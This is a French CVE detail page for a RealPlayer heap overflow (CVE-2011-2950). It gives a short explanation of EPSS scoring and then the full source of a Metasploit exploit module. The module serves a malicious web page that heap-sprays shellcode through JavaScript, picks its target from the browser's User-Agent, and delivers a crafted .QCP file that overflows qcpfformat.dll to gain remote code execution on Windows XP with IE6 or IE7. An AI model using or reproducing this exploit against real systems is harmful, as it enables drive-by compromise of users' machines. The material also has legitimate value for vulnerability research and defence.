CVE-2011-2950 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: realplayer_qcp.rb 13745 2011-09-17 06:48:33Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "RealNetworks Realplayer QCP Parsing Heap Overflow", 'Description' => %q{ This module exploits a heap overflow in Realplayer when handling a .QCP file. The specific flaw exists within qcpfformat.dll. A static 256 byte buffer is allocated on the heap and user-supplied data from the file is copied within a memory copy loop. This allows a remote attacker to execute arbitrary code running in the context of the web browser via a .QCP file with a specially crafted "fmt" chunk. At this moment this module exploits the flaw on Windows XP IE6, IE7. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13745 $", 'Author' => [ 'Sean de Regge', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2011-2950'], ['OSVDB', '74549'], ['BID', '49172'], # ZDI advisory ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-265/'], # Vendor advisory ['URL', 'http://service.real.com/realplayer/security/08162011_player/en/'], #Fix commit ['URL', 'http://lists.helixcommunity.org/pipermail/datatype-cvs/2011-April/015469.html'], ], 'Payload' => { 'Space' => 1024 }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Internet Explorer 6 on XP SP3', { 'Nops' => "%u1414%u1414" } ], [ 'Internet Explorer 7 on XP SP3', { 'Nops' => "%u0c0c%u0c0c" } ], ], 'DisclosureDate' => "Aug 16 2011", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(cli, request) #Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP + IE 7.0 my_target = targets[2] elsif agent =~ /RMA/ #RealPlayer identifies itself as "RMA/1.0 (compatible; RealMedia)" #when requesting our trigger file return 'RMA' else #If we don't recognize the client, we don't fire the exploit my_target = nil end end return my_target end def exploit #Set trigger file name @filename = rand_text_alpha(rand(6) + 3) #Create the trigger file @trigger = build_trigger super end def on_request_uri(cli, request) #Pick the right target vprint_status("Selecting target...") my_target = get_target(cli, request) if my_target.nil? print_error("Target not supported") send_not_found(cli) return end vprint_status("URL: #{request.uri.to_s}") #Send the trigger file upon request if request.uri.match(/\.qcp$/) print_status("Sending trigger file to #{cli.peerhost}:#{cli.peerport}") send_response(cli, @trigger, { 'Content-Type' => 'application/octet-stream' }) return end vprint_status("Building shellcode...") code = Rex::Text.to_unescape(payload.encoded) vprint_status("Building spray...") spray = build_spray(my_target, code) #obfuscate on demand vprint_status("Obfuscating javascript...") if datastore['OBFUSCATE'] spray = Rex::Exploitation::JSObfu.new(spray) spray.obfuscate end vprint_status("Building html...") #Value for the 'Src' parameter of our ActiveX control trigger_file = "" if ("/" == get_resource[-1,1]) trigger_file = get_resource[0, get_resource.length - 1] else trigger_file = get_resource end trigger_file << "/#{@filename}.qcp" html = <<-EOS <HTML> <HEAD> </HEAD> <BODY> <script language='javascript'> #{spray} </script> <OBJECT ID=RVOCX CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" WIDTH=320 HEIGHT=240> <PARAM NAME="SRC" VALUE="#{trigger_file}"> <PARAM NAME="CONTROLS" VALUE="ImageWindow"> <PARAM NAME="CONSOLE" VALUE="one"> <PARAM NAME="AUTOSTART" VALUE="true"> <EMBED SRC="#{trigger_file}" WIDTH=320 HEIGHT=240 NOJAVA=true CONTROLS=ImageWindow CONSOLE=one AUTOSTART=true> </OBJECT> </BODY> EOS print_status("Sending malicious page to #{cli.peerhost}:#{cli.peerport}...") send_response( cli, html, {'Content-Type' => 'text/html'} ) end def build_trigger() overflow_size = 700 overflow_string = "\x11" * 700 #riff_mark trigger = "\x52\x49\x46\x46" #total_size trigger << [0xed44 + overflow_size].pack("V") #qlcm_tag trigger << "\x51\x4c\x43\x4d" #fmt_tag trigger << "\x66\x6d\x74\x20" #fmt_size trigger << [0x96 + overflow_size].pack("V") #fmt_content trigger << "\x01\x00\x8d\xd4\x89\xe6\x76\x90" trigger << "\xb5\x46\x91\xef\x73\x6a\x51\x00" trigger << "\xce\xb4\x01\x00\x54\x49\x41\x20" trigger << "\x49\x53\x2d\x31\x32\x37\x20\x45" trigger << "\x6e\x68\x61\x6e\x63\x65\x64\x20" trigger << "\x56\x61\x72\x69\x61\x62\x6c\x65" trigger << "\x20\x52\x61\x74\x65\x20\x43\x6f" trigger << "\x64\x65\x63\x2c\x20\x53\x70\x65" trigger << "\x65\x63\x68\x20\x53\x65\x72\x76" trigger << "\x69\x63\x65\x20\x4f\x70\x74\x69" trigger << "\x6f\x6e\x20\x33\x20\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\xc8\x32\x16\x00" trigger << "\xa0\x00\x40\x1f\x10\x00\x05\x00" trigger << "\x00\x00\x16\x04\x0a\x03\x05\x02" trigger << "\x02\x01\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00\x00\x00" trigger << "\x00\x00\x00\x00\x00\x00" trigger << overflow_string #vrat_tag trigger << "\x76\x72\x61\x74" #vrat_size trigger << [0x8].pack("V") #vrat_content trigger << "\x01\x00\x00\x00\x06\x13\x00\x00" #data_tag trigger << "\x64\x61\x74\x61" #data_size trigger << [0xec8a].pack("V") #data_content trigger << rand_text_alpha(0xec8a) return trigger end def build_spray(mytarget, code) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("#{mytarget['Nops']}"); while (nops.length < 0x10000) nops += nops; offset = nops.substring(0, 0x7BE0); var shellcode = offset + code + nops.substring(0, 0x8000-offset.length-code.length); while (shellcode.length < 0x20000) shellcode += shellcode; block = shellcode.substring(0, (0x10000-6)/2); heap_obj.gc(); for (var i=0; i < 0x1400; i++) { heap_obj.alloc(block); } JS spray = heaplib(spray) return spray end end